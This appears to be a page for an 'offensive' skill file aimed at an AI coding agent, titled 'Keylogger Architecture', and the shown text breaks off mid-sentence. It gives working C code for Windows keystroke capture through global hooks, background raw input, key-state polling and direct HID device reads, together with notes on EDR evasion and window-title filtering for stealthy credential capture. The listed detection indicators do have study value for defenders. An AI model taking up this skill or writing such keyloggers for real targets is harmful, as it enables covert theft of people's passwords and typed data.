$npx -y skills add hypnguyen1209/offensive-claude --skill keylogger-arch--- name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase: [in
| 1 | # Keylogger Architecture |
| 2 | |
| 3 | ## When to Activate |
| 4 | |
| 5 | - Understanding input capture mechanisms for red team implants |
| 6 | - Analyzing malware keylogging capabilities |
| 7 | - EDR evasion research for input monitoring |
| 8 | - Designing stealthy credential capture |
| 9 | |
| 10 | ## Method 1: SetWindowsHookEx (WH_KEYBOARD_LL) |
| 11 | |
| 12 | ### How It Works |
| 13 | |
| 14 | ```c |
| 15 | // Install global low-level keyboard hook |
| 16 | HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0); |
| 17 | |
| 18 | LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { |
| 19 | if (nCode == HC_ACTION) { |
| 20 | KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam; |
| 21 | if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) { |
| 22 | LogKey(kb->vkCode); |
| 23 | } |
| 24 | } |
| 25 | return CallNextHookEx(NULL, nCode, wParam, lParam); |
| 26 | } |
| 27 | |
| 28 | // MUST pump messages — hook won't fire without message loop |
| 29 | MSG msg; |
| 30 | while (GetMessage(&msg, NULL, 0, 0)) { |
| 31 | TranslateMessage(&msg); |
| 32 | DispatchMessage(&msg); |
| 33 | } |
| 34 | ``` |
| 35 | |
| 36 | ### Internal Mechanism |
| 37 | |
| 38 | 1. `SetWindowsHookEx` → `NtUserSetWindowsHookEx` in win32k.sys |
| 39 | 2. Kernel creates HOOK structure, inserts at head of global hook chain |
| 40 | 3. **Low-level hooks (WH_KEYBOARD_LL)**: NO DLL injection — events delivered via internal message to installing process |
| 41 | 4. **Regular hooks (WH_KEYBOARD)**: DLL injected into every target process via APC |
| 42 | |
| 43 | ### IOCs |
| 44 | - Hook entry visible in `!hook` WinDbg command |
| 45 | - Installing thread must pump messages (detectable by message queue footprint) |
| 46 | - If regular hook: mapped DLL in every hooked process (VAD artifact) |
| 47 | - EDR can hook `user32!SetWindowsHookEx` to detect installation |
| 48 | |
| 49 | ## Method 2: RegisterRawInputDevices |
| 50 | |
| 51 | ### How It Works |
| 52 | |
| 53 | ```c |
| 54 | // Register for raw keyboard input — no hook chain, no DLL injection |
| 55 | RAWINPUTDEVICE rid; |
| 56 | rid.usUsagePage = 0x01; // Generic Desktop |
| 57 | rid.usUsage = 0x06; // Keyboard |
| 58 | rid.dwFlags = RIDEV_INPUTSINK; // Receive input even when not foreground |
| 59 | rid.hwndTarget = hWnd; // Message-only window |
| 60 | |
| 61 | RegisterRawInputDevices(&rid, 1, sizeof(rid)); |
| 62 | |
| 63 | // In window procedure: |
| 64 | case WM_INPUT: { |
| 65 | RAWINPUT raw; |
| 66 | UINT size = sizeof(raw); |
| 67 | GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER)); |
| 68 | if (raw.header.dwType == RIM_TYPEKEYBOARD) { |
| 69 | LogKey(raw.data.keyboard.VKey); |
| 70 | } |
| 71 | } |
| 72 | ``` |
| 73 | |
| 74 | ### Advantages Over Hooks |
| 75 | - Does NOT appear in `!hook` list |
| 76 | - No cross-process DLL mapping |
| 77 | - Invisible to most EDR "hook chain" sensors |
| 78 | - No `CallNextHookEx` chain dependency |
| 79 | |
| 80 | ### IOCs |
| 81 | - **ETW event from kernel** (win32kfull.sys): `EtwTraceAuditApiRegisterRawInputDevices` |
| 82 | - Contains PID, TID, UsagePage, Usage, Flags |
| 83 | - Channel is ON by default, CANNOT be disabled without kernel patch |
| 84 | - **This is the strongest IOC** — do not discount it |
| 85 | - Process must have window station and desktop |
| 86 | - Process must pump messages continuously |
| 87 | |
| 88 | ## Method 3: GetAsyncKeyState Polling |
| 89 | |
| 90 | ```c |
| 91 | // Simple but CPU-intensive — polls every key state |
| 92 | while (true) { |
| 93 | for (int key = 0; key < 256; key++) { |
| 94 | if (GetAsyncKeyState(key) & 0x0001) { // Key was pressed since last check |
| 95 | LogKey(key); |
| 96 | } |
| 97 | } |
| 98 | Sleep(10); // Reduce CPU usage |
| 99 | } |
| 100 | ``` |
| 101 | |
| 102 | ### IOCs |
| 103 | - High CPU usage from polling loop |
| 104 | - Detectable by API call frequency monitoring |
| 105 | - No kernel-level artifacts |
| 106 | - Least stealthy but simplest to implement |
| 107 | |
| 108 | ## Method 4: DirectInput / Raw HID Device |
| 109 | |
| 110 | ```c |
| 111 | // Open keyboard device directly (requires admin) |
| 112 | HANDLE hKeyboard = CreateFile(L"\\\\?\\HID#VID_xxxx&PID_xxxx", |
| 113 | GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); |
| 114 | |
| 115 | // Read HID reports directly — bypasses win32k entirely |
| 116 | ReadFile(hKeyboard, buffer, sizeof(buffer), &bytesRead, &overlapped); |
| 117 | // Parse HID keyboard report (8 bytes: modifier + reserved + 6 keycodes) |
| 118 | ``` |
| 119 | |
| 120 | ### IOCs |
| 121 | - Requires admin/SYSTEM privileges |
| 122 | - Creates IRP_MJ_READ telemetry on keyboard device |
| 123 | - Bypasses all userland monitoring |
| 124 | - Detectable by kernel-mode ETW or minifilter |
| 125 | |
| 126 | ## Method 5: ETW-Based Capture (Defensive Turned Offensive) |
| 127 | |
| 128 | ```c |
| 129 | // Subscribe to Microsoft-Windows-USB-UCX or HID ETW providers |
| 130 | // Capture raw USB HID events including keystrokes |
| 131 | // Requires admin but leaves minimal footprint |
| 132 | |
| 133 | // Provider: Microsoft-Windows-USB-USBHUB3 |
| 134 | // Events contain raw USB transfer data including HID reports |
| 135 | ``` |
| 136 | |
| 137 | ## Window Title Capture (Context Filtering) |
| 138 | |
| 139 | ### GetWindowTextA / GetForegroundWindow |
| 140 | ```c |
| 141 | // Capture which application receives keystrokes |
| 142 | HWND fg = GetForegroundWindow(); |
| 143 | char title[256]; |
| 144 | GetWindowTextA(fg, title, sizeof(title)); |
| 145 | // Filter: only log when title |